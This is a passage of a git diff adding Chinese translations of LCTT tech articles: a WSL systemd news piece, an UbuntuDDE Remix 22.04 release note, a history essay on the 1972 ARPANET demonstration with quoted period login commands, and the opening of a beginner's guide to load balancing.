+[boot] +systemd=true +``` + +最后,重启你的 WSL 实例以见证更改。 + +随着对 systemd 的支持,微软在 WSL 的发展又前进了一大步,这将使得 WSL 吸引更多用户。 + +*💬 是否对 WSL 支持 systemd 感到兴奋?或是你更喜欢无 systemd 的发行版?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/systemd-wsl/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[vvvbbbcz](https://github.com/vvvbbbcz) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/systemd-now-available-on-wsl.png +[2]: https://news.itsfoss.com/systemd-creator-microsoft/ +[3]: https://news.itsfoss.com/systemd-creator-microsoft/ +[4]: https://youtu.be/Ja3qikzd-as +[5]: https://itsfoss.com/systemd-free-distros/ +[6]: https://itsfoss.com/systemd-free-distros/ +[7]: https://devblogs.microsoft.com/commandline/systemd-support-is-now-available-in-wsl/ +[8]: https://learn.microsoft.com/en-in/windows/wsl/ +[9]: https://github.com/microsoft/WSL/releases +[10]: https://learn.microsoft.com/en-in/windows/wsl/wsl-config#wslconf diff --git a/published/202209/20220924 UbuntuDDE Remix 22.04 LTS Released!.md b/published/202209/20220924 UbuntuDDE Remix 22.04 LTS Released!.md new file mode 100644 index 0000000000..3283069ec9 --- /dev/null +++ b/published/202209/20220924 UbuntuDDE Remix 22.04 LTS Released!.md @@ -0,0 +1,102 @@ +[#]: subject: "UbuntuDDE Remix 22.04 LTS Released!" +[#]: via: "https://news.itsfoss.com/ubuntudde-remix-22-04-released/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15076-1.html" + +UbuntuDDE Remix 22.04 LTS 发布! +====== + +> UbuntuDDE 22.04 LTS 发布,带有 Linux 内核 5.15、深度应用商店及一些升级。 + +![UbuntuDDE Remix 22.04 LTS Released!][1] + +UbuntuDDE Remix 是一个在 Ubuntu 之上集成深度桌面环境(DDE)的发行版。不想尝试深度发行版但喜欢其用户界面的用户可以尝试一下。 + +它以 [Ubuntu 22.04 LTS](https://news.itsfoss.com/ubuntu-22-04-release/) 为基础,这是一次主要版本升级。 + +让我们看看他们能提供什么。 + +### UbuntuDDE Remix 22.04 的新内容 + +他们通过这个发行版为 Ubuntu 添加了许多新东西,例如 “全局搜索栏”、基于 GTK 的应用程序的升级版本、新壁纸、深度应用程序商店等等。 + +让我们看看 UbuntuDDE Remix 22.04 带来的一些关键变化。 + +### DDE 全局搜索 + +![ubuntudde remix 22.04 grand search][4] + +他们称之为 “DDE 全局搜索”,这是一个快速应用启动器。 + +这使用户能够快速搜索任何内容,无论是应用程序、文件、文件夹,甚至是简单的网络搜索。它由键盘快捷键(`Shift + Space`)激活。 + +### Linux 内核 5.15 + +该发行版还具有 Linux 内核 5.15,它为各种功能打开了大门,例如对英特尔 Alder Lake CPU 的增强支持、对 NTFS3 驱动程序的改进、改进的苹果 M1 支持等等。 + +我们之前介绍了此 Linux 内核版本的亮点,你可以 [查看它][5] 以获取更多信息: + +### 重新设计的新安装程序 + +![ubuntudde remix 22.04 installer][7] + +UbuntuDDE Remix 上的安装程序似乎从 [Qt 安装程序框架][8] 的书中吸取了一些经验,在 Calamares 安装程序中提供了基于 Qt 的样式,并有一个非常熟悉的布局,可以毫不费力地安装发行版的所有常规选项。 + +### 新壁纸 + +![ubuntudde remix 22.04 new wallpapers][9] + +该版本还包括许多新壁纸供你使用。 + +### 🛠️ 其他变化 + +你可以期待它附带的明显的深度应用程序和好东西。一些值得一提的包括: + +- 预装深度应用商店 +- LibreOffice 7.3.6.2 +- 通过 OTA 更新定期进行软件更新 +- 包含升级的基于 DTK 的应用程序,如深度音乐、深度终端、Boot Maker、系统监视器等 + +### 下载 UbuntuDDE 混音 22.04 + +你可以前往官方 [下载页面下载][10] UbuntuDDE Remix 22.04 的 ISO 文件。 + +> **[UbuntuDDE Remix 22.04][10]** + +如果你正在寻找一个现场 USB 创建工具来安装 UbuntuDDE Remix,请阅读本指南以轻松创建一个: + +> **[在 Linux 上使用 Rufus?这是一些最好的现场 USB 创建工具][12]** + +请注意,它不是 Ubuntu 的官方版本(因此是 “Remix”),但可以马上尝试深度桌面看起来很令人兴奋。 + +*💬 你怎么看?你想在 Ubuntu 上体验深度桌面吗?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntudde-remix-22-04-released/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/ubunturemixdde-22-04-lts.png +[2]: https://news.itsfoss.com/ubuntu-22-04-release/ +[3]: https://news.itsfoss.com/content/images/2022/09/UbuntuDDE_Remix_22.04_Desktop.png +[4]: https://news.itsfoss.com/content/images/2022/09/UbuntuDDE_Remix_22.04_Grand-Search.png +[5]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[7]: https://news.itsfoss.com/content/images/2022/09/UbuntuDDE_Remix_22.04_Installer.png +[8]: https://doc.qt.io/qtinstallerframework/ifw-overview.html +[9]: https://news.itsfoss.com/content/images/2022/09/UbuntuDDE_Remix_22.04_New_Wallpapers.png +[10]: https://ubuntudde.com/download/ +[11]: https://bit.ly/ubuntudde-22-04-fosshost +[12]: https://itsfoss.com/live-usb-creator-linux/ +[14]: https://www.humblebundle.com/books/linux-no-starch-press-books?partner=itsfoss diff --git a/published/202210/20210207 The Real Novelty of the ARPANET.md b/published/202210/20210207 The Real Novelty of the ARPANET.md new file mode 100644 index 0000000000..5ebe5c852b --- /dev/null +++ b/published/202210/20210207 The Real Novelty of the ARPANET.md @@ -0,0 +1,191 @@ +[#]: collector: (lujun9972) +[#]: translator: (aREversez) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15139-1.html) +[#]: subject: (The Real Novelty of the ARPANET) +[#]: via: (https://twobithistory.org/2021/02/07/arpanet.html) +[#]: author: (Two-Bit History https://twobithistory.org) + +ARPANET 的真正创新之处 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/14/180115j5hae51hv1a1ohp5.jpg) + +如果你在搜索引擎中输入“ARPANET”,搜索相关图片,你会看到许多地图的图片,上面是这个上世纪六十年代末七十年代初 [美国政府创建的研究网络][1],该网络不断延伸扩展,横跨了整个美国。我猜很多人第一次了解到 ARPANET 的时候都看过这种地图。 + +可以说,这些地图很有意思,毕竟我们很难想象过去连接网络的计算机是那么少,就连如此低保真的图片都可以表示出美国全部机器的所在位置(这里的低保真lo-fi指的是高射投影仪成像技术,而不是大家熟知的 lo-fi 氛围音乐)。不过,这些地图是有问题的。地图上用加粗的线条连接着大陆各地,强化了人们的一种观念:ARPANET 最大的贡献就是首次将横跨美国东西两地的电脑连接了起来。 + +今天,即便是在病毒肆虐、人们困居家中的情况下,网络也能把我们联系起来,可谓是我们的生命线。所以,如果认为 ARPANET 是最早的互联网,那么在那之前世界必然相互隔绝,毕竟那时还没有今天的互联网,对吧?ARPANET 首次通过计算机将人们连接起来,一定是一件惊天动地的大事。 + +但是,这一观点却与历史事实不符,而且它也没有进一步解释 ARPANET 的重要性。 + +### 初露锋芒 + +华盛顿希尔顿酒店坐落于国家广场National Mall东北方向约 2.4 千米处的一座小山丘山顶附近。酒店左右两侧白色的现代化立面分别向外延展出半个圆形,活像一只飞鸟的双翼。1965 年,酒店竣工之后,《纽约时报》报道称这座建筑物就像“一只栖息在山顶巢穴上的海鸥” [^1]。 + +不过,这家酒店最有名的特点却深藏在地下。在车道交汇处下方,有着一个巨大的蛋形活动场地,这就是人们熟知的国际宴会厅International Ballroom,多年来一直是华盛顿特区最大的无柱宴会厅。1967 年,大门乐队在此举办了一场音乐会。1968 年,“吉他之神”吉米·亨德里克斯也在此举办了一场音乐会。到了 1972 年,国际宴会厅隐去了以往的喧嚣,举办了首届国际计算机通信会议International Conference on Computing Communication(ICCC)。在这场大会上,研究项目 ARPANET 首次公开亮相。 + +这场会议举办时间为 10 月 24-26 日,与会人数约八百人 [^2]。在这场大会上,计算机网络这一新兴领域的领袖人物齐聚一堂。因特网internet的先驱鲍勃·卡恩Bob Kahn称,“如果有人在华盛顿希尔顿酒店上方丢了一颗炸弹,那么美国的整个网络研究领域将会毁于一旦” [^3]。 + +当然,不是所有的与会人员都是计算机科学家。根据当时的宣传广告,这场大会将“以用户为中心”,面向“律师、医务人员、经济学家、政府工作者、工程师以及通信员等从业人员”[^4]。虽然大会的部分议题非常专业,比如《数据网络设计问题(一)》与《数据网络设计问题(二)》,但是正如宣传广告所承诺的,大部分会议的主要关注点还是计算机网络给经济社会带来的潜在影响。其中甚至有一场会议以惊人的先见之明探讨了如何积极利用法律制度“保护计算机数据库中的隐私权益” [^5]。 + +展示 ARPANET 的目的是作为与会者的一个附带景点。在国际宴会厅或酒店更下一层的其他地方举行的会议间歇,与会者可以自由进入乔治敦宴会厅Georgetown Ballroom(在国际宴会厅走廊尽头的一个较小的宴会厅,也可以说是会议室)[^6],那里放置着用以访问 ARPANET 的 40 台由不同制造商生产的终端 [^7]。这些终端属于哑终端dumb terminal,也就是说,只能用来输入命令、输出结果,本身无法进行计算。事实上,在 1972 年,所以这些终端可能都是硬拷贝终端hardcopy terminal,即电传打字机teletype machine。哑终端与一台被称为“终端接口信息处理机Terminal Interface Message Processor”(TIP)的计算机相连接,后者放置在宴会厅中间的一个高台上。TIP 是早期的一种路由器,哑终端可通过 TIP 连接到 ARPANET。有了终端和 TIP,ICCC 与会者可以尝试登录和访问组成 ARPANET 的 29 个主机站的计算机 [^8]。 + +为了展示网络的性能,美国全国各主机站的研究员们通力合作,准备了 19 个简易的“情景”,供用户测试使用。他们还出了 [一份小册子][10],将这些情景收录其中。如果与会人员打算进入这个满是电线与哑终端的房间,就会得到这样一本小册子 [^9]。通过这些情景,研究员不仅要证明网络这项新技术的可行性,还要证明其实用性,因为 ARPANET 那时还只是“一条没有汽车驶过的公路”。此外,来自国防部的投资者们也希望,公开展示 ARPANET 可以进一步激发人们对网络的兴趣 [^10]。 + +因此,这些情景充分展示了在 ARPANET 网络上可以使用的软件的丰富性:有程序语言解释器,其中一个用于麻省理工学院(MIT)的 Lisp 语言,另一个用于加州大学洛杉矶分校的数值计算环境 Speakeasy;还有一些游戏,包括国际象棋和 康威生命游戏Conway's Game of Life;以及几个也许最受与会者欢迎的人工智能聊天程序,包括由 MIT 的计算机科学家约瑟夫·魏泽堡Joseph Weizenbaum开发的著名聊天程序伊莉莎ELIZA。 + +设置这些情景的研究人员小心翼翼地列出了他们想让用户在终端机上输入的每一条命令。这点很重要,因为用于连接 ARPANET 主机的命令序列可能会因为主机的不同而发生变化。比如,为了能在 MIT 人工智能实验室的 PDP-10 微型电脑上测试人工智能国际象棋程序,与会者需要按照指示输入以下命令: + +> 在下方代码块中,`[LF]`、`[SP]` 以及 `[CR]` 分别代表换行、空格以及回车键。我在每行的 `//` 符号后面都解释了当前一行命令的含义,不过当时的小册子本来是没有使用这一符号的。 + +``` +@r [LF] // 重置 TIP +@e [SP] r [LF] // “远程回显”设置, 主机回显字符,TIP 不回显 +@L [SP] 134 [LF] // 连接 134 号主机 +:login [SP] iccXXX [CR] // 登录 MIT 人工智能实验室的系统,“XXX”代表用户名首字母缩写 +:chess [CR] // 启动国际象棋程序 +``` + +如果与会者输入了上述命令,那么他就可以体验当时最先进的国际象棋程序,其棋盘布局如下: + +``` +BR BN BB BQ BK BB BN BR +BP BP BP BP ** BP BP BP +-- ** -- ** -- ** -- ** +** -- ** -- BP -- ** -- +-- ** -- ** WP ** -- ** +** -- ** -- ** -- ** -- +WP WP WP WP -- WP WP WP +WR WN WB WQ WK WB WN WR +``` + +与之不同的是,如果要连接加州大学洛杉矶分校的 IBM System/360 机器,运行 Speakeasy 数值计算环境,与会者需要输入以下命令: + +``` +@r [LF] // 重置 TIP +@t [SP] o [SP] L [LF] // “传递换行”设置 +@i [SP] L [LF] // “插入换行”设置,即回车时发送换行符。 +@L [SP] 65 [LF] // 连接 65 号主机 +tso // 连接 IBM 分时可选软件系统 +logon [SP] icX [CR] // 输入用户名,进行登录,“X”可为任意数字 +iccc [CR] // 输入密码(够安全!) +speakez [CR] // 启动 Speakeasy +``` + +输入上述命令后,与会者可以在终端中对矩阵进行乘法、转置以及其他运算,如下所示: + +``` +:+! a=m*transpose(m);a [CR] +:+! eigenvals(a) [CR] +``` + +当时,这场演示给许多人都留下了深刻的印象,但原因并不是我们所想的那样,毕竟我们有的只是后见之明。今天的人们总是记不住,在 1972 年,即便身处两个不同的城市,远程登录使用计算机也已经不是一件新鲜事儿了。在那之前的数十年,电传打字机就已经用于与相隔很远的计算机传递信息了。在 ICCC 第一届大会之前,差不多整整五年前,在西雅图的一所高中,比尔·盖茨Bill Gates使用电传打字机,在该市其他地方的通用电气General Electric(GE)计算机上运行了他的第一个 BASIC 程序。在当时,登录远程计算机,运行几行命令或者玩一些文字游戏,只不过是家常便饭。因此,虽说上文提到的软件的确很不错,但是即便没有 ARPANET,我刚刚介绍的两个情景勉强也是可以实现的。 + +当然,ARPANET 一定带来了新的东西。参加本次大会的律师、政治家与经济学家可能被国际象棋游戏与聊天机器人所吸引,但是网络专家们可能对另外两个情景更感兴趣,因为它们将 ARPANET 的作用更好地展示了出来。 + +在其中一个情景下,MIT 非兼容分时系统Incompatible Timesharing System(ITS)上运行了一个名为 `NETWRK` 的程序。`NETWRK` 命令下有若干个子命令,输入这些子命令就能得到 ARPANET 各方面的运行状态。`SURVEY` 子命令可以列出 ARPANET 上哪些主机正在运行和可用(它们都在一个列表中);`SUMMARY.OF.SURVEY` 子命令汇总了过去 `SURVEY` 子命令过去的运行结果,得出每台主机的“正常运行比率”,以及每台主机响应消息的平均时间。`SUMMARY.OF.SURVEY` 子命令以表格的形式输出结果,如下所示: + +``` +--HOST-- -#- -%-UP- -RESP- +UCLA-NMC 001 097% 00.80 +SRI-ARC 002 068% 01.23 +UCSB-75 003 059% 00.63 +... +``` + +可以看到,主机编号的占位不超过三个数字(哈!)。其他 `NETWRK` 子命令能够查看较长时间内查询结果的概要,或者检查单个主机查询结果的日志。 + +第二个情景用到了斯坦福大学开发的一款软件 —— SRI-ARC 联机系统。这款软件功能齐全,非常优秀。美国发明家道格拉斯·恩格尔巴特Douglas Engelbart在 “所有演示之母Mother of All Demos” 上演示的正是 SRI-ARC 联机系统。这款软件可以在加州大学圣芭芭拉分校的主机上运行本质上属于文件托管的服务。使用华盛顿希尔顿酒店的终端,用户可以将斯坦福大学主机上创建的文件复制到加州大学圣芭芭拉分校的主机上。操作也很简单,只需执行 `copy` 命令,然后回答计算机的下列问题: + +> 在下方的代码块中,`[ESC]`、`[SP]` 与 `[CR]` 分别代表退出、空格与回车键;圆括号中的文字是计算机打印出的提示信息;第三行中的退出键用于自动补全文件名。此处复制的文件是 `sample.txt;1`,其中文件名末尾的数字 1 代表文件的版本号,`` 表示文件路径。这种文件名是 TENEX 操作系统上面的惯用写法。[^11] + +``` +@copy +(TO/FROM UCSB) to +(FILE) sample [ESC] .TXT;1 [CR] +(CREATE/REPLACE) create +``` + +这两个情景看起来好像和最初提及的两个情景没有太大区别,但是此二者却意义非凡。因为它们证明了,在 ARPANET 上面,不仅人们可以与计算机进行交流,计算机与计算机也可以 _相互_ 交流。MIT 主机上的 `SURVEY` 命令的结果并非由人类定期登录并检查每台机器的运行状态收集而来,而是由一款能在网络上与其他机器进行交流的软件收集得到的。同样的道理,在斯坦福大学与加州大学圣芭芭拉分校之间传输文件的情景下,也没有人守在两所大学的终端旁边,华盛顿特区的终端用户仅仅使用了一款软件,就能让其他两地的计算机相互对话。更重要的是,这一点无关乎你使用的是宴会厅里的哪一台电脑,因为只要输入同样的命令序列,就能在任意一台电脑上浏览 MIT 的网络监视数据,或者在加州大学圣芭芭拉分校的计算机上储存文件。 + +这才是 ARPANET 的全新之处。本次国际计算机通信会议演示的不仅仅是人与远程电脑之间的交互,也不仅仅是远程输入输出的操作,更是一个软件与其他软件之间的远程通讯,这一点才是史无前例的。 + +为什么这一点才是最重要的,而不是地图上画着的那些贯穿整个美国、实际连接起来的电线呢(这些线是租赁的电话线,而且它们以前就在那了!)?要知道,早在 1966 年 ARPANET 项目启动之前,美国国防部的高级研究计划署(ARPA)打造了一间终端室,里面有三台终端。三台终端分别连接着位于 MIT、加州大学伯克利分校以及圣塔莫尼卡三地的计算机 [^12]。对于 ARPA 的工作人员来说,即便他们身处华盛顿特区,使用这三台计算机也非常方便。不过,这其中也有不便之处:工作人员必须购买和维护来自三家不同制造商的终端,牢记三种不同的登录步骤,熟悉三种不同的计算环境。虽然这三台终端机可能就放在一起,但是它们只是电线另一端主机系统的延申,而且操作也和那些计算机一样各不相同。所以说,在 ARPANET 项目诞生之前,远程连接计算机进行通讯就已经实现了,但问题是不同的计算系统阻碍了通讯朝着更加先进复杂的方向发展。 + +### 集合起来,就在此刻 + +因此,我想说的是,说法一(ARPANET 首次通过计算机将不同地方的人们连接了起来)与说法二(ARPANET 首次将多个计算机系统彼此连接了起来)之间有着云泥之别。听起来似乎有些吹毛求疵,咬文嚼字,但是相较于说法二,说法一忽略了一些重要的历史发展阶段。 + +首先,历史学家乔伊·利西·兰金Joy Lisi Rankin指出,早在 ARPANET 诞生之前,人们就已经在网络空间中进行交流了。在《美国计算机的人民历史A People’s History of Computing in the United States》一书中,兰金介绍了几个覆盖全美的数字社区,这些社区运行在早于 ARPANET 的分时网络time-sharing network上面。从技术层面讲,分时网络并不是计算机网络,因为它仅仅由一台大型主机构成。这种计算机放置在地下室中,为多台哑终端提供计算,颇像一只又黑又胖的奇怪生物,触手向外伸展着,遍及整个美国。不过,在分时网络时代,被后社交媒体时代称为“网络”的大部分社会行为应有尽有。例如,Kiewit 网络是达特茅斯分时系统Dartmouth Time-Sharing System的延伸应用,服务于美国东北部的各个大学和高中。在 Kiewit 网络上,高中生们共同维护着一个“八卦档案gossip file”,用来记录其他学校发生的趣闻趣事,“在康涅狄格州和缅因州之间建立起了社交联系” [^13]。同时,曼荷莲女子学院的女生通过网络与达特茅斯学院的男生进行交流,或者是安排约会,或者是与男朋友保持联系 [^14]。这些事实都发生在上世纪六十年代。兰金认为,如果忽视了早期的分时网络,我们对美国过去 50 年数字文化发展的认识必然是贫瘠的:我们眼里可能只有所谓的“硅谷神话Silicon Valley mythology”,认为计算机领域的所有发展都要归功于少数的几位天才,或者说互联网科技巨头的创始人。 + +回到 ARPANET,如果我们能意识到真正的困难是计算机 _系统_ 的联通,而非机器本身的物理连接,那么在探讨 ARPANET 的创新点时,我们就会更加倾向于第二种说法。ARPANET 是有史以来第一个分组交换网络packet-switched network,涉及到许多重要的技术应用。但是如果仅仅因为这项优势,就说它是一项突破,我觉得这种说法本身就是错的。ARPANET 旨在促进全美计算机科学家之间的合作,目的是要弄明白不同的操作系统、不同语言编写的软件如何配合使用,而非如何在麻省和加州之间实现高效的数据传输。因此,ARPANET 不仅是第一个分组交换网络,它还是一项非常成功且优秀的标准。在我看来,后者更有意思,毕竟我在博客上曾经写过许多颇有失败的标准:[语义网][17]、[RSS][18] 与 [FOAF][19]。 + +ARPANET 项目初期没有考虑到网络协议,协议的制定是后来的事情了。因此,这项工作自然落到了主要由研究生组成的组织 —— 网络工作组Network Working Group(NWG)身上。该组织的首次会议于 1968 年在加州大学圣芭芭拉分校举办 [^15]。当时只有 12 人参会,大部分都是来自上述四所大学的代表 [^16]。来自加州大学洛杉矶分校的研究生史蒂夫·克罗克Steve Crocker参加了这场会议。他告诉我,工作组首次会议的参会者清一色都是年轻人,最年长的可能要数会议主席埃尔默·夏皮罗Elmer Shapiro了,他当年 38 岁左右。ARPA 没有派人负责研究计算机连接之后如何进行通信,但是很明显它需要提供一定的协助。随着工作组会议的陆续开展,克罗克一直期望着更有经验与威望的“法定成年人”从东海岸飞过来接手这项工作,但是期望终究还是落空了。在 ARPA 的默许之下,工作组举办了多场会议,其中包括很多长途旅行,差旅费由 ARPA 报销,这些就是它给与工作组的全部协助了 [^17]。 + +当时,网络工作组面临着巨大的挑战。从没有人有过使用通用方式连接计算机系统的经验,而且这本来就与上世纪六十年代末计算机领域盛行的全部观点相悖: + +> 那个时候典型的主机表现得就像是它是全宇宙唯一的计算机。即便是最简短的交流会话,两台主机也无法轻易做到。并不是说机器没办法相互连接,只是连接之后,两台计算机又能做些什么呢?当时,计算机和与其相连的其他设备之间的通讯,就像帝王与群臣之间的对话一般。连接到主机的设备各自执行着自己的任务,每台外围设备都保持着常备不懈的状态,等待着上司的命令。当时的计算机就是严格按照这类互动需求设计出来的;它们向读卡器、终端与磁带机等下属设备发号施令,发起所有会话。但是,如果一台计算机拍了拍另一台计算机的肩膀,说道,“你好,我也是一台计算机”,那么另一台计算机可就傻眼了,什么也回答不上来 [^18]。 + +于是,工作组的最初进展很缓慢 [^19]。直到 1970 年 6 月,也就是首次会议将近两年之后,工作组才为网络协议选定了一套“正式”规范 [^20]。 + +不过,到了 1972 年,在国际计算机通信会议上展示 ARPANET 的时候,所有的协议已经准备就绪了。会议期间,这些协议运用到了国际象棋等情景之中。用户运行 `@e r` 命令(`@echo remote` 命令的缩写形式),可以指示 TIP 使用新 TELNET 虚拟终端协议提供的服务,通知远程主机它应该回显用户输入的内容。接着,用户运行 `@L 134` 命令(`@login 134` 命令的缩写形式),让 TIP 在 134 号主机上调用初始连接协议Initial Connection Protocol,该协议指示远程主机分配出连接所需的全部必要资源,并将用户带入 TELNET 会话中。上述文件传输的情景也许用到了 文件传输协议File Transfer Protocol(FTP),而该协议恰好是在大会举办前夕才刚刚完成的 [^21]。所有这些协议都是“三层”协议,其下的第二层是主机到主机的协议,定义了主机之间可以相互发送和接收的信息的基本格式;第一层是主机到接口通信处理机(IMP)的协议,定义了主机如何与连接的远程设备进行通信。令人感到不可思议的是,这些协议都能正常运行。 + +在我看来,网络工作组之所以能够在大会举办之前做好万全的准备,顺利且出色地完成任务,在于他们采用了开放且非正式的标准化方法,其中一个典型的例子就是著名的 征求意见Request for Comments(RFC)系列文档。RFC 文档最初通过传统信件snail mail在工作组成员之间进行传阅,让成员们在没有举办会议的时候也能保持联系,同时收集成员反馈,汇集各方智慧。RFC 框架是克罗克提出的,他写出了第一篇 RFC 文档,并在早期负责管理 RFC 的邮寄列表。他这样做是为了强调工作组开放协作的活动本质。有了这套框架以及触手可及的文档,ARPANET 的协议设计过程成了一个大熔炉,每个人都可以贡献出自己的力量,步步推进,精益求精,让最棒的想法脱颖而出,而没有人失去面子。总而言之,RFC 获得了巨大成功,并且直至今天,长达半个世纪之后,它依旧是网络标准的“说明书”。 + +因此,说起 ARPANET 的影响力,我认为不得不强调的一点正是工作组留下的这一成果。今天,互联网可以把世界各地的人们连接起来,这也是它最神奇的属性之一。不过如果说这项技术到了上世纪才开始使用,那可就有些滑稽可笑了。要知道,在 ARPANET 出现之前,人们就已经通过电报打破了现实距离的限制。而 ARPANET 打破的应该是各个主机站因使用不同的操作系统、字符编码、程序语言以及组织策略而在逻辑层面产生的差异限制。当然,将第一个分组交换网络投入使用在技术方面绝对是一大壮举,这肯定值得一提,不过,制定统一的标准并用以连接原本无法相互协作的计算机,是建立 ARPANET 网络过程中遇到的这两大难题中更为复杂的一个。而这一难题的解决方案,也成了 ARPANET 整个建立与发展历史中最为神奇的一个章节。 + +1981 年,高级研究计划署发表了一份“完工报告”,回顾了 ARPANET 项目的第一个十年。在《付出收获了回报的技术方面以及付出未能实现最初设想的技术方面》这一冗长的小标题下,作者们写道: + +> 或许,在 ARPANET 的开发过程中,最艰难的一项任务就是,尽管主机制造商各不相同,或者同一制造商下操作系统各不相同,我们仍需在众多的独立主机系统之间实现通讯交流。好在这项任务后来取得了成功 [^22]。 + +你可以从美国联邦政府获得相关信息。 + +_如果你喜欢这篇文章,欢迎关注推特 [@TwoBitHistory][28],也可通过 [RSS 馈送][29] 订阅,获取最新文章。_ + +[^1]: “Hilton Hotel Opens in Capital Today.” _The New York Times_, 20 March 1965, . Accessed 7 Feb. 2021. +[^2]: James Pelkey. _Entrepreneurial Capitalism and Innovation: A History of Computer Communications 1968-1988,_ Chapter 4, Section 12, 2007, . Accessed 7 Feb. 2021. +[^3]: Katie Hafner and Matthew Lyon. _Where Wizards Stay Up Late: The Origins of the Internet_. New York, Simon & Schuster, 1996, p. 178. +[^4]: “International Conference on Computer Communication.” _Computer_, vol. 5, no. 4, 1972, p. c2, . Accessed 7 Feb. 2021. +[^5]: “Program for the International Conference on Computer Communication.” _The Papers of Clay T. Whitehead_, Box 42, . Accessed 7 Feb. 2021. +[^6]: 我其实并不清楚 ARPANET 是在哪个房间展示的。很多地方都提到了“宴会厅”,但是华盛顿希尔顿酒店更习惯于叫它“乔治敦”,而不是把它当成一间会议室。因此,或许这场展示是在国际宴会厅举办的。但是 RFC 372 号文件又提到了预定“乔治敦”作为展示场地一事。华盛顿希尔顿酒店的楼层平面图可以点击 [此处][36] 查看。 +[^7]: Hafner, p. 179. +[^8]: ibid., p. 178. +[^9]: Bob Metcalfe. “Scenarios for Using the ARPANET.” _Collections-Computer History Museum_, . Accessed 7 Feb. 2021. +[^10]: Hafner, p. 176. +[^11]: Robert H. Thomas. “Planning for ACCAT Remote Site Operations.” BBN Report No. 3677, October 1977, . Accessed 7 Feb. 2021. +[^12]: Hafner, p. 12. +[^13]: Joy Lisi Rankin. _A People’s History of Computing in the United States_. Cambridge, MA, Harvard University Press, 2018, p. 84. +[^14]: Rankin, p. 93. +[^15]: Steve Crocker. Personal interview. 17 Dec. 2020. +[^16]: 克罗克将会议记录文件发给了我,文件列出了所有的参会者。 +[^17]: Steve Crocker. Personal interview. +[^18]: Hafner, p. 146. +[^19]: “Completion Report / A History of the ARPANET: The First Decade.” BBN Report No. 4799, April 1981, , p. II-13. +[^20]: 这里我指的是 RFC 54 号文件中的“正式协议”。 +[^21]: Hafner, p. 175. +[^22]: “Completion Report / A History of the ARPANET: The First Decade,” p. II-29. + +-------------------------------------------------------------------------------- + +via: https://twobithistory.org/2021/02/07/arpanet.html + +作者:[Two-Bit History][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twobithistory.org +[b]: https://github.com/lujun9972 +[1]: https://en.wikipedia.org/wiki/ARPANET +[10]: https://archive.computerhistory.org/resources/access/text/2019/07/102784024-05-001-acc.pdf +[17]: https://twobithistory.org/2018/05/27/semantic-web.html +[18]: https://twobithistory.org/2018/12/18/rss.html +[19]: https://twobithistory.org/2020/01/05/foaf.html +[28]: https://twitter.com/TwoBitHistory +[29]: https://twobithistory.org/feed.xml +[30]: https://twitter.com/TwoBitHistory/status/1277259930555363329?ref_src=twsrc%5Etfw +[36]: https://www3.hilton.com/resources/media/hi/DCAWHHH/en_US/pdf/DCAWH.Floorplans.Apr25.pdf diff --git a/published/202210/20210415 A beginner-s guide to load balancing.md b/published/202210/20210415 A beginner-s guide to load balancing.md new file mode 100644 index 0000000000..1a464283a6 --- /dev/null +++ b/published/202210/20210415 A beginner-s guide to load balancing.md @@ -0,0 +1,83 @@ +[#]: subject: (A beginner's guide to load balancing) +[#]: via: (https://opensource.com/article/21/4/load-balancing) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (FYJNEVERFOLLOWS) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15121-1.html) + +负载均衡的初学者指南 +====== + +> 负载均衡就是将资源分配到某一时刻最需要它的地方。 + +![](https://img.linux.net.cn/data/attachment/album/202210/09/171034wvrqq5qqxkjcv5nv.jpg) + +当个人电脑刚开始发展的时候,一个家庭可能只有一台(或更少)的电脑。孩子们白天玩电脑游戏,家长们晚上在业务支撑系统上做会计、编程,或者漫游。然而,想象一下今天一个只有一台电脑的家庭,你可以预想到这样会产生什么样的冲突。每个人都想使用电脑,而只有一副键盘和鼠标。 + +随着计算机变得越来越普遍,IT 行业或多或少也出现了同样的情况。对服务和服务器的需求已经增长到了会因为用量过大而停机的程度。幸运的是,我们现在有了负载均衡的概念来帮助我们处理需求。 + +### 负载均衡是什么? + +负载均衡是一个通用术语,指的是为了确保高效分配所管理的资源而做的事情。对于 Web 服务器的系统管理员来说,负载均衡通常意味着确保 Web 服务器软件(例如 [Nginx][2])配置了足够的工作节点来处理激增的访客。换言之,如果一个网站突然变得非常受欢迎,其访问者在几分钟内增加了四倍,那么运行服务器的软件必须能够响应每个访问者,并不能让任何访问者发现服务质量下降。对于简单的网站,这就像修改一行配置选项一样简单,但对于具有动态内容的复杂站点,每个用户都有多个数据库查询,这可能是一个严重的问题。 + +这个问题本应随着云计算的发展而解决,但当 Web 应用程序遇到意外激增时,无法扩展也不是不可能。 + +在进行负载均衡时,需要记住的重要一点是,*高效地*分配资源并不一定意味着*平均地*分配资源。并非所有任务都在任何时候都需要所有的可用资源。一个智能的负载均衡策略仅在需要资源时才为用户和任务提供资源。这通常是应用程序开发人员的领域,而不是 IT 